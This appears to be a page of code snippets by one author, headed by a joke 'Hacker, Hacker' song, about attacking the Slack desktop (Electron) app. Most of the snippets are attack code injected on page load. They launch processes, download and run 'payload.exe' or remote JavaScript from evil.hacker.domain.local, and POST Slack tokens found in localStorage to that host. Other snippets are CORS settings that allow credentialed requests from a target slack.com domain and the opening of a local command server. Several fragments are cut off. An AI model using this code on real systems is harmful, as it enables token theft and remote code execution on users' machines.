JonnySchnittger

To the theme music of Badger, Badger, Badger
https://www.youtube.com/watch?v=EIyixC9NsLI

Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker
0-day, 0-day,
Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker
0-day, 0-day,
Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker
0-day,
Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker, Hacker

JonnySchnittger

document.addEventListener("DOMContentLoaded", function () {
  const { spawn } = require('child_process');

  const subprocess = spawn('notepad.exe', [], {
    detached: true,
    stdio: 'ignore'
  });

  subprocess.unref();
});

JonnySchnittger

document.addEventListener("DOMContentLoaded", function () {
  const { spawn } = require('child_process');
  const fs = require('fs-extra');
  const path = require('path');

  const fileName = 'notepad.exe';
  const localPath = path.join(process.cwd(), fileName);
  const remoteUri = 'https://evil.hacker.domain.local/payload.exe';

  let saveAndLaunch = function(download) {

JonnySchnittger

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <httpProtocol>
      <customHeaders>
        <add name="Access-Control-Allow-Origin" value="https://<your target domain>.slack.com" />
        <add name="Access-Control-Allow-Methods" value="GET, PUT, POST, DELETE" />
        <add name="Access-Control-Allow-Credentials" value="true" />
      </customHeaders>
    </httpProtocol>    

JonnySchnittger

Header Set Access-Control-Allow-Origin "https://<your target domain>.slack.com"
Header Set Access-Control-Allow-Methods" value="GET, PUT, POST, DELETE"
Header Set Access-Control-Allow-Credentials value="true"

JonnySchnittger

document.addEventListener("DOMContentLoaded", function () {
  const { webFrame } = require('electron')
  const https = require("https");

  const remoteUri = 'https://evil.hacker.domain.local/payload.js';

  let execute = function(script) {
    webFrame.executeJavaScript(script)    
  };
  

JonnySchnittger

for (var i = 0; i < localStorage.length; i++){
  let key = localStorage.key(i);
  if(key.endsWith('static_translations')) {
    fetch('https://evil.hacker.domain.local', { method: 'POST', body: JSON.parse(localStorage.getItem(key)).data.args.token });
  } else if(key.startsWith('xox')){
    fetch('https://evil.hacker.domain.local', { method: 'POST', body: key });
  }
}

JonnySchnittger

document.addEventListener("DOMContentLoaded", function () {
  const http = require('http');
  const url = require('url');
  const { spawnSync } = require('child_process');

  const port = 7000;
  const contentType = { "Content-Type": "text/plain" };
  const httpVerb = {
    GET: "GET",
    POST: "POST"